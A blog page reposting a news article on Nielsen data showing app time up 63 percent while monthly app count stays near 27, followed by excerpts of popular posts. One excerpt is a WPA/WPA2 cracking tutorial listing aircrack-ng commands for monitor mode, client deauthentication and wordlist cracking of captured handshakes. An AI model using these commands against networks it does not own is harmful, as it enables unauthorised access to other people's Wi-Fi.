Skip to main content

Time Spent In Apps Up 63 Percent Over Past Two Years, But Apps Used Monthly Show Little Change



Today’s app stores each may host well over a million apps, but consumers only use roughly 26 or 27 of these per month, according to new data from Nielsen out today. However, the time they spend engaging with those apps is increasing – up 63 percent over the past two years, the study found.
In the fourth quarter of 2012, consumers spent 23 hours and two minutes per month engaging with apps. That climbed to 37 hours and 28 minutes in the fourth quarter of 2014.
In other words, for those apps that make it into the lucky two dozen-plus per month that actually get used, then they’re likely being used fairly heavily.
8921_Smartphone_Wirepost_D1

This is not the first time Nielsen has suggested that there’s an upper limit to how many apps consumers can use on a monthly basis. The firm reported last summer that the number of apps seeing monthly use has only slightly increased over the years. On average, consumers used 23.3 apps per month in 2011, 26.5 apps in 2012 and 26.8 apps in 2013.
The most recent numbers for Q4 2014 are broken down by gender: men use 27.2 apps per month compared with 26.3 apps per month for women. Or, on average, consumers today use 26.7 apps per month.
The data is collected with permission from U.S. smartphone users by way of a background app on Android, and on iOS, Nielsen logs data as iOS traffic is routed through a proxy. Its panel distribution is 58 percent Android and 42 percent iOS users, and is collected from a sizable group of 5,000 panelists across various demographic groups, races and ethnicities.
Another notable finding relates to how the different races and ethnicities engage with apps. The firm found that African-Americans use the most apps per month (30.3), but they’re also the most heavily engaged users, spending nearly 43 hours per month in apps. Hispanics, meanwhile, spend 41 hours and 31 minutes per month across 27.9 apps on average. Asian-Americans spend 27 hours and 14 minutes per month, while white non-Hispanic users spend 35 hours and 25 minutes per month in apps.
8921_Smartphone_Wirepost_2_FINAL
Nielsen says the “entertainment” category of apps is driving the most usage. However, it defines this group of apps rather broadly, saying that entertainment apps can be mobile games or even apps where users check the weather or sports scores.
That being said, this group of apps saw a 13 percent increase in unique audience year-over-year as of fourth-quarter 2014. And that audience is spend nearly three hours more on apps over the same period – up 26 percent from the prior year.
The gaming subcategory, unsurprisingly, saw the most usage, with 76 percent of entertainment apps users playing at least one game in Q4 2014, and time spent increase by 1:35 per month to 10:02. Music was the second most popular subcategory, followed by video and movies.
8921_Smartphone_Wirepost_3_D3
Yet, despite the growth of the app marketplaces themselves, which has introduced a ever-expanding selection of apps to choose from, app makers are still having to fight each other to be one of the small handful of apps that get used regularly. While some apps, like Facebook, are always in this short list, others, like games, are played then disposed of, freeing up space for a new title to snag a spot.
The disposable nature of gaming apps has also begun to spread to the wider App Store in recent months, where some titles – think Yo, or that brief MyIdol craze – are wildly popular for months, weeks or sometimes only days, before being forgotten on back screens.

Comments

Popular posts from this blog

Crack WPA & WPA2 with Aircrack-ng on Kali Linux

In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng  sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0  airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up  Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.

Building a smarter home

The Jetsons  presented a highly entertaining vision of what  homes  of the future would  look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s  homes  and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019,  companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...

How ad-free subscriptions could solve Facebook

At the core of Facebook’s “well-being” problem is that its business is directly coupled with total time spent on its apps. The more hours you pass on the social network, the more ads you see and click, the more money it earns. That puts its plan to make using Facebook healthier at odds with its finances, restricting how far it’s willing to go to protect us from the harms of over use. The advertising-supported model comes with some big benefits, though. Facebook CEO Mark Zuckerberg has repeatedly said that “We will always keep Facebook a free service for everyone.” Ads lets Facebook remain free for those who don’t want to pay, and more importantly, for those around the world who couldn’t afford to. Ads pay for Facebook to keep the lights on, research and develop new technologies, and profit handsomely in a way that attracts top talent and further investment. More affluent users with more buying power in markets like the US, UK, and Canada command higher ad prices, effectively...

eGym raises $45M Series C for cloud-connected gym equipment and fitness software

eGym , the Munich-based startup that offers cloud-connected gym equipment and supporting cloud software and app for the fitness training floor, has closed $45 million in Series C funding. The round was led by new investor HPE Growth Capital, while existing investors, including Highland Europe, also participated. The problem that eGym is looking to solve is that, whilst gyms have moved from a bodybuilder market to a mass market in the last 20 years, the technology in gyms lags behind. That’s despite the fact that better use of technology can help to reduce customer churn, the biggest pain-point of both gym operator and gym users. Comprising of an app for both gym user and trainer, combined with the company’s connected strength machines, the eGym Cloud makes it possible for gym members to receive better fitness instruction and an evolving and personalised fitness plan based on data collected as they workout. And by providing a better workout feedback loop, gym goers can get an i...